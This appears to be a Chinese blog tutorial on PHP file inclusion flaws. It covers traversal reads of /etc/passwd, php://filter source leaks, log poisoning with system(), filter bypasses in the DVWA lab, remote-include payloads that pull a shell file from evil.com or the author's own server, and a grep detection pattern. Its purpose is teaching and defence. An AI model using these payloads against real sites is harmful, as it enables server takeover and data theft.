尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
文件包含漏洞实战指南:从LFI原理到DVWA通关与防御策略
文件包含漏洞在现在很多渗透测试报告里已经不多见了因为现代框架普遍把文件路径做了强约束。但恰恰是这种觉得很少见的心态导致不少人在做代码审计和漏洞挖掘时一遇到直接用文件名参数拼路径的旧系统反而像没见过一样不知道从哪里下手。我在一次模拟测试中遇到一个后台管理面板参数名是template后面直接拼接文件名当时几个同事都在纠结怎么绕登录我瞄了一眼URL就直接试了template../../../../etc/passwd几秒钟就拿到了系统文件。这个漏洞没有消失只是一直藏在那些没被框架支撑的老业务里。这篇文章我会从文件包含漏洞的原理讲起再带你把开源靶场DVWA里的Low、Medium、High三个等级全部打一遍最后补上防御和排查思路。适合刚接触Web安全想搞清楚LFI/RFI原理的新人也适合需要快速温习绕过技巧的开发者或安全工程师。1. 文件包含漏洞到底是什么从原理到危害1.1 一句话理解文件包含代码复用带来的安全隐患文件包含是很多服务端语言都支持的基本能力PHP、JSP、ASP.NET里都有类似机制。它本意是为了让开发者把公共代码抽出来比如页头、页脚、数据库连接配置然后到处复用。PHP里最常见的写法就是include $_GET[page] . .php;这行代码的本意是用户访问index.php?pagehome就包含home.php访问index.php?pageabout就包含about.php。看起来很方便但问题在于page这个参数直接来自用户输入程序没有校验它到底是home、about还是../../../../etc/passwd。如果page的值是../../../../etc/passwdPHP的include就会尝试读取/etc/passwd文件并把内容展示在页面里原本想要的安全边界直接被撕开。逻辑上可以这么理解你开了一家便利店员工进仓库取货本来应该报个货名比如可乐但店员没检查直接就把名字当成路径进了。有人报3楼保险柜店员真的去了还把里面的东西抬出来展示。文件包含的本质是程序信任了用户提供的路径并把文件系统的读取权限暴露给了攻击者。这个信任一旦建立轻则读取任意文件重则直接执行恶意代码拿下服务器权限。1.2 两种主要类型本地包含LFI与远程包含RFI根据包含的来源不同文件包含漏洞可以分成两类。本地文件包含Local File InclusionLFI指包含的文件在服务器本地攻击者通过目录穿越符../跳出约定目录读取系统内任意文件。比如?page../../../../etc/passwd或者读取PHP配置文件、日志文件、临时文件等。LFI的利用往往需要配合文件上传、日志写入等操作才能从只读文件升级成执行代码。远程文件包含Remote File InclusionRFI指PHP配置允许从远程URL加载文件时攻击者直接把参数指向自己服务器上的恶意脚本比如?pagehttp://evil.com/shell.txt如果目标站没有固定后缀或者能被%00截断就会直接执行远程代码危害等级从信息泄露直接拉满到RCE远程代码执行。一个关键点RFI能不能利用取决于PHP配置里allow_url_include是否为On。默认情况下PHP 5.2之后这个选项是Off但很多老项目会为了功能需要打开它。我在代码审计时见过一个OA系统开发为了在模板里加载远程素材把allow_url_include打开结果整个系统都被打穿了。1.3 为什么这类漏洞容易被人忽视文件包含不像SQL注入那样有数据库报错可以直接看到也不像XSS那样在页面上有直观弹窗。它的表现很安静可能只是某个页面变成了空白可能是多了一个隐藏目录甚至什么都不显示。但正因为安静它带来的破坏往往是链式反应。另一个原因是开发者的惯性思维。很多开发者觉得反正包含的都是固定的几个文件写死在白名单里就好了但在实际代码里白名单只是写在注释里。比如我看到过这样的写法$file $_GET[file]; // 只能包含 views/ 下的文件 include views/ . $file . .html;开发者以为加了前缀views/就安全了攻击者直接传../../../../etc/passwd前缀作用就被目录穿越抵消了。这种自以为安全的代码在真实项目里比例相当高。2. 编码细节透视哪些参数和函数最容易出问题2.1 PHP中的四个危险函数PHP中和文件包含相关的函数主要有四个include、include_once、require、require_once。它们的共同点是如果参数是变量且变量来自外部输入就可能引入文件包含漏洞。include和require的区别在于处理失败的方式include失败只是产生警告脚本继续执行require失败会直接终止。对攻击者来说include反而更容易利用因为就算路径写错了页面也不会直接死掉便于逐个试目录层级。include_once和require_once会额外判断文件是否已经加载过在利用时如果不小心可能第一次payload执行后第二次相同路径就不再执行需要换一个参数值或清一下状态。还有一个容易忽略的函数是file_get_contents()虽然它不是包含函数但同样可以读取本地或远程文件。某些场景下程序会把读取到的内容再写入文件或直接展示效果和LFI一样。// 危险示例直接把用户输入交给include $page $_GET[page]; include($page . .php);2.2 常见可利用场景日志注入、伪协议、路径截断LFI最常见的一个难点是就算能读取文件也不一定能执行代码。要完成从读文件到执行命令的升级通常会配合下面几个场景。日志注入是经典思路。服务器会记录访问日志如果我们向日志里写入PHP代码比如把User-Agent改成?php system(whoami); ?然后通过LFI包含日志文件这段代码就会被当成PHP执行。Apache日志通常位于/var/log/apache2/access.logNginx在/var/log/nginx/access.log。但日志文件可能很大包含后页面响应会慢而且日志内容里有很多特殊字符payload经常会被截断。伪协议是另一条路线。php://filter可以读取文件内容并经过base64编码输出比如?pagephp://filter/convert.base64-encode/resourceconfig.php这条的思路是绕过.php后缀限制——因为resourceconfig.php本身是php://协议参数的一部分不会因为前面拼接了.php就变成config.php.php。拿到base64编码的源码后再解码就能看源码做进一步审计。php://input可以让我们把POST请求体作为包含内容直接执行POST过去的数据也是常见的绕过方式。路径截断主要应用于老版本PHP5.3以下利用文件路径最长4096字节的特性在payload末尾塞一堆./或.让系统忽略后缀。不过现在目标系统大多PHP版本较高这种方法已经没什么实战价值但了解思路对理解边界处理有帮助。2.3 过滤器与绕过思路从白名单到双重编码先说最基础的白名单绕过。如果代码写成了if ($_GET[page] home || $_GET[page] about) { include $_GET[page] . .php; }这种情况下直接传任意路径是无效的必须结合程序本身的功能缺陷。比如参数支持数组变形page[]home如果判断用的是松散等于而数组和字符串比较时会先转成字符串有些极端情况下能绕过。但现代PHP里这种漏洞越来越少了。更常见的是黑名单过滤。Medium级别用的是str_replace把../和php://替换成空字符串但只替换一次。绕过方法就是双写或者多重嵌套..././..././..././etc/passwd因为str_replace会把../拿掉留下的路径仍然存在../继续被解析。对于php://过滤用php:filter或者PHP://filter大小写混淆也能在某些配置下绕过。实战中我建议把绕过分两类理解一类是绕过输入过滤比如各种编码、双写、大小写另一类是绕过文件路径限制比如目录穿越、符号链接、伪协议。真正有效的利用往往需要组合多种手段。3. 在DVWA靶场中实战从Low到Medium再到High3.1 靶场环境准备DVWADamn Vulnerable Web Application是目前最常用的开源漏洞靶场之一部署方式一般有三种直接用Docker镜像、用PHP集成环境手动配置、或者用现成的一键脚本。我自己习惯用Docker方式干净方便不会污染宿主机环境。docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa启动后访问http://127.0.0.1:8080默认账号密码是admin/password。第一次进入会提示创建数据库点击按钮即可。DVWA的界面左下角有个安全等级选项最低是Low依次往上Medium、High、Impossible。我们按Low到High逐级测试。注意DVWA是故意留漏洞的靶场只能在本地或授权环境使用严禁用来测试任何真实业务系统。这台靶机里包含文件包含、SQL注入、命令执行等多种漏洞在公网部署会非常危险建议用Docker端口映射仅监听本机。3.2 Low级别直接任意文件读取与远程包含进入DVWA后在左侧菜单找到File Inclusion。Low级别的页面是三个文件链接点击后URL变成http://127.0.0.1:8080/vulnerabilities/fi/?pageinclude.php点击file1.php和file2.php分别对应两个普通文件。此时page参数直接可控没有任何过滤。尝试读取系统文件http://127.0.0.1:8080/vulnerabilities/fi/?page../../../../../../etc/passwd浏览器返回了系统的/etc/passwd内容说明本地文件包含直接生效。接着测试远程文件包含。先在自己可控的服务器上放一条测试文件内容为?php phpinfo(); ?假设这个文件的地址是http://your-server:8080/shell.txt然后请求http://127.0.0.1:8080/vulnerabilities/fi/?pagehttp://your-server:8080/shell.txt如果目标开启了allow_url_include页面就会执行phpinfo。我用DVWA的官方Docker镜像测试时默认配置是允许的能看到满屏的PHP信息。如果只想验证不落地代码可以放一个简单的文本内容比如RFI-TEST页面会把这串字回显出来说明远程包含成功。3.3 Medium级别简单过滤后的绕过切换等级到Medium再看这个页面。查看源码会发现它增加了两种过滤把../替换成空字符串把http://和https://替换成空字符串。$file str_replace( array( http://, https:// ), , $file ); $file str_replace( array( ../, ..\\ ), , $file );先测本地读取。因为../被替换成空我们可以使用双重穿越..././..././..././..././etc/passwd过程是这样的原始字符串里..././经过str_replace(../,,...)后中间的../被删掉剩下的../和路径拼接在一起仍然能形成有效穿越。请求一下http://127.0.0.1:8080/vulnerabilities/fi/?page..././..././..././..././etc/passwd如果一次不行多试几层因为Docker容器里目录层级可能不同。再测远程包含。http://被替换成空我们可以用双写http://http://your-server:8080/shell.txt替换后变成http://your-server:8080/shell.txt成功绕过。如果目标只过滤明文还可以用大小写混淆比如HTTP://、HtTp://但这取决于过滤是区分大小写还是不区分。Medium级别的过滤本身很弱因为str_replace只处理常见的两个面没有考虑编码和变体实际项目中会遇到更复杂的情况。但这类思路是通用的任何过滤都只认识它学过的字符串攻击者只需要找过滤规则没覆盖到的表达方式。3.4 High级别严格校验与真实攻击面思考High级别的源码用了更严格的校验$file $_GET[page]; if (!fnmatch(file*, $file)) { exit(不允许的协议); }它要求page参数必须以file开头也就是只能使用file://协议。这种限制下直接读系统文件的方式变成了http://127.0.0.1:8080/vulnerabilities/fi/?pagefile:///etc/passwdfile://协议是PHP文件系统协议里最直接的读取方式在Docker容器里这条能读到宿主机的passwd吗不能读到的是容器内部的。但不管怎样任意文件读取依然成立只是RFI被挡住了。High级别真正的意义不在于让你直接拿权限而是提示一个问题即使限制了协议文件包含漏洞本身的危害仍在。文件读取可以泄露源码、配置、数据库密码、内网地址如果能配合日志注入或上传功能一步步扩大战果。我遇到过很多目标看起来只读了一个不重要的文件但那个文件里写着一个备份目录路径顺着路径又找到了一个可写接口最终拿到了WebShell。试完High后还可以切到Impossible等级看一眼源码会发现它把page参数和固定数组进行了严格对比只有数组里的文件能被包含。这种防御方式虽然简单粗暴但确实最有效。4. 文件包含的防御代码层、架构层、运维层4.1 输入校验与白名单最保险的方式就是High/Impossible等级的思路不仅是过滤而是白名单比对。比如页面只允许包含home.php、about.php、contact.php三个文件直接在代码里写死数组$allowedPages [home, about, contact]; $page $_GET[page] ?? home; if (!in_array($page, $allowedPages)) { $page home; } include __DIR__ . /pages/ . $page . .php;关键点使用绝对路径或基于__DIR__拼接避免让用户输入直接参与路径组成。如果需求复杂到必须动态选择模板文件也要保证拼接后的完整路径在白名单范围内可以通过realpath()校验实际路径是否合法。4.2 关闭危险配置PHP的allow_url_include默认关闭但很多老项目会手动打开。在php.ini里检查allow_url_include Off allow_url_fopen Off ; 如果业务不需要远程读取也建议关闭同时建议检查open_basedir配置。open_basedir可以限制PHP只能访问指定目录下的文件即使漏洞存在攻击者也无法逃出限制目录。例如open_basedir /var/www/html:/tmp注意open_basedir对/tmp的授权要谨慎很多日志文件在不同位置严格配置前要梳理业务实际路径。运维层面Web服务运行账号要使用低权限用户让Web进程没有权限读取高敏感文件如SSH私钥、数据库配置文件这是纵深防御的一部分。4.3 日志与权限收敛如果LFI结合日志注入能执行代码原因是日志文件被包含时其中的PHP代码被执行了。要打断这条链一方面要防止日志内容被当作代码执行比如WebServer日志目录和Web根目录分开不给PHP访问日志文件的权限另一方面要严格过滤写入日志的HTTP头字段比如User-Agent里出现尖括号或?php时要替换成其他字符。权限收敛可以从两个方向做应用层目录权限最小化尽量减少Web目录可写目录的数量系统层面Web进程的SSH密钥、环境变量、备份文件等敏感资源不要放在Web目录里避免被一条LFI直接带走。4.4 安全编码checklist我在做代码评审时总结过一套针对文件包含的检查清单检查项说明是否直接使用用户输入作为include/require参数是则高危必须白名单是否在include前做路径校验只做黑名单过滤不够需校验真实路径是否使用绝对路径拼接并固定目录避免$_GET参与任意文件路径是否开启allow_url_include建议关闭反向代理远程内容时用其他方式文件上传交互是否限制保存目录和后缀防止上传文件被include执行日志文件是否可被Web进程访问对Web进程和PHP进程做open_basedir隔离是否采用框架路由替代动态包含使用框架MVC的模板渲染机制更安全这套清单每一行背后都有对应的攻击方式。第1条对应直接LFI/RFI第2条对应过滤绕过第3条对应路径穿越/符号链接第4条对应RFI攻击第5条对应文件上传文件包含的组合漏洞第6条对应日志注入第7条是架构层面的根治。5. 常见问题与排查技巧实录5.1 靶场练习中常见的环境问题用Docker部署DVWA时最常见的是端口冲突或者数据库初始化失败。第一次访问显示“Setup”页面时点击Create/Reset Database之后如果是白屏多半是数据库连接配置问题。检查Docker容器日志docker logs dvwa看到mysqli::real_connect()相关错误时一般是config/config.inc.php里的DB密码和容器内MySQL实际密码不匹配。DVWA官方镜像的环境变量可以在启动时指定也可以进入容器后台修改配置文件。另一个常见问题是allow_url_include没有开启RFI的payload总是不生效。可以先通过LFI的方式读取php.ini确认配置?pagephp://filter/convert.base64-encode/resource../../../../../usr/local/etc/php/php.ini解码后搜索allow_url_include如果值为Off就理解为什么RFI失败。本地包含不受这个配置影响所以LFI和RFI在实验时表现层次分明。5.2 为什么我的payload不生效这是我带新人做靶场时被问得最多的问题。往往同一个payload我看到别人发出来能用自己复制过去就是空白页。常见原因可以分成几类第一目录层级不正确。Docker容器和本地物理机的/etc/passwd路径是一样的但DVWA安装在Web根目录下的多级子目录中可能需要7到8个../才能回到根目录。一个经验方法是先用pagephp://filter/convert.base64-encode/resourceindex.php确认当前访问的入口文件如果能正常返回首页源码就说明LFI链路是通的再逐步调整穿越层数。第二后缀被拼上了。DVWA Low级别的例子是include($file . .php)意味着我们传page../../../../etc/passwd时实际读取的是../../../../etc/passwd.php最后多了一个.php文件不存在所以页面显示错误。所以在靶场里想要读取passwd需要传page../../../../etc/passwd%00但PHP 5.3.4之后空字节截断已经失效。实践中的处理方式是使用伪协议或者读取一个确实以.php结尾的文件比如源码文件本身。第三协议被过滤了。Medium会过滤http://High会限制只能file://不同等级对应不同的绕过策略不能一套payload打所有等级。5.3 真实场景中怎么快速发现文件包含点在真实渗透测试中发现文件包含点往往源于对URL的敏感度。看到以下形式的参数可以列为重点观察对象?pagehome ?fileupload.php ?pathtemplate/default ?loadnews.php ?includeheader ?docreadme.txt ?viewdetail包含类参数的特点是后面跟着的文件不需要扩展名或扩展名固定因为代码会自动拼接。手动测试时先把参数值换成一个不存在的文件名比如xxx_123看页面有没有报错信息泄露路径再把参数值换成/etc/passwd看页面有没有变化。很多LFI不显式输出文件内容而是把内容写入隐藏的HTML注释里需要查看页面源代码。自动化扫描方面可以自己写一个简单的字典包含常见的穿越深度和系统文件路径用Burp Suite的Intruder跑一遍观察响应长度和状态码的差异。但不要盲目依赖工具手工看响应Header和页面渲染效果往往更准。5.4 一条实用的排查命令思路最后分享一个运维侧排查文件包含利用的实用思路。如果怀疑服务器被人用过LFI渗透测试可以去查访问日志里的page、file、path等参数grep -E \.\./|/etc/passwd|php://filter|base64_encode /var/log/nginx/access.log | tail -50这条命令会列出所有包含目录穿越、系统文件路径、伪协议的访问记录。发现可疑请求后再对照时间点查看当时的写操作记录比如/tmp目录有没有新增可疑文件、Web目录有没有多出野生的.php文件。如果日志里User-Agent那一栏出现大段PHP代码说明有人在尝试日志注入需要立刻封禁请求来源同时加固日志写入过滤。文件包含这种漏洞说难不难它的根本原因往往只是一行代码的信任缺失。在靶场上练习的价值不只是学会打一个CTF题目而是让你在写代码的那一刻脑子里能闪过这个页面以后会不会被别人用奇怪路径访问。我个人的习惯是每一项新功能开发完先盯着用户可控的参数想三秒这个值如果被传成../../etc/passwd会发生什么这个习惯帮我在很多项目上线前就堵住了问题也希望你从现在开始养成它。
RELATED

相关推荐

Python面试27题精讲:单例、lambda、property与内存管理

Python面试27题精讲:单例、lambda、property与内存管理

简介:Python经典面试题集锦是一份面向Python初学者、求职者及备考人员的练习题与考试重点整理文档,聚焦Web开发、数据分析、人工智能等方向的基础技能考察。资源仅含1个PDF文件,大小约390KB,共18页,内容紧凑实用。目前…

📅 2026/10/21 23:46:02
轻量级语义化地图交互组件设计与实践

轻量级语义化地图交互组件设计与实践

1. 项目概述:一个轻量级、可嵌入的地理信息交互组件“lingbot-map”这个名字一出现,我就下意识在终端里敲了npm search lingbot-map和pypi search lingbot-map—— 结果是空的。再查 GitHub、GitLab 和国内主流代码托管平台,也没有匹配的公开…

📅 2026/10/21 23:46:02
XSS漏洞实战复盘:从信任边界到代码审计与防御

XSS漏洞实战复盘:从信任边界到代码审计与防御

如果让我从这些年接触过的Web漏洞里挑一个每次复盘都有新发现的,大概就是XSS。最近有朋友问我,扫描器不是已经把XSS扫得差不多了吗,人工还费什么劲。这个问题我在自己的笔记里写过很多次,这次算第106篇,单独聊聊几个我…

📅 2026/10/21 23:41:01
MORE NEWS

更多资讯

📰

rea项目极简架构实战:响应式与实时系统的设计、实现与避坑指南

1. 从“rea”这个标题说起:一个被低估的通用缩写第一次看到“rea”这个标题的时候,我脑子里蹦出来的第一反应是——这大概率又是一个被缩写玩坏的项目名。在技术圈混久了你会发现,越是短到只有三个字母的标题,背后藏的东西往往越不…

📰

大数据人才需求分析毕设实践:从招聘数据到可视化系统

拿到《基于大数据专业岗位招聘信息的人才需求特征分析》这个毕设题目的时候,我第一反应是:终于有个既贴热点、又好落地的方向了。但等我认真帮人搭完一遍完整流程后,发现这个题目远没有看上去那么简单——很多人把它做成了“爬了几千条招聘数…

📰

若依框架AI代码生成不稳定?用Agent Skill三层结构+五步法搞定

最近一段时间,我一直想把后台管理系统里那些机械重复的增删改查代码交给AI去写。框架用的是若依,按理说这类业务代码模式非常固定,应该是AI最擅长的事情。可真试下来却不是那么回事——你让AI生成一个用户管理模块,它给出的Contro…

📰

压缩空气储能与热网热惯性联合优化调度:热电联产系统建模与求解

前几年做模拟项目X时,我遇到一个很典型的调度困境:系统里有一台热电联产机组和一片集中供热管网,冬季夜间电负荷低、热负荷却很高,机组被“以热定电”的约束绑得死死的,电力调峰完全腾不出手,只能眼睁睁看着…

📰

电商智能运营体系从0到1:架构设计、落地步骤与避坑指南

前两年我们团队接了一个电商平台的运营中台项目,目标很直白:把过去靠运营拍脑袋做的选品、定价、发券、推活动这些事,逐步用数据算法和自动化流程代替。项目名字内部就叫“电商智能运营体系”。最近有不少朋友问我当时是怎么设计的、踩过哪些…

📰

litellm:统一大模型接口,实现多模型路由与成本追踪

1. 项目概述与核心定位1.1 这个项目到底解决什么问题第一次接触 litellm 是在一个多模型混用的项目里。当时团队需要同时对接好几家不同厂商的大模型接口,每家的 SDK 调用方式、参数命名、返回结构都不一样,光是写适配层就耗掉了大量时间。后来有人推荐了…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬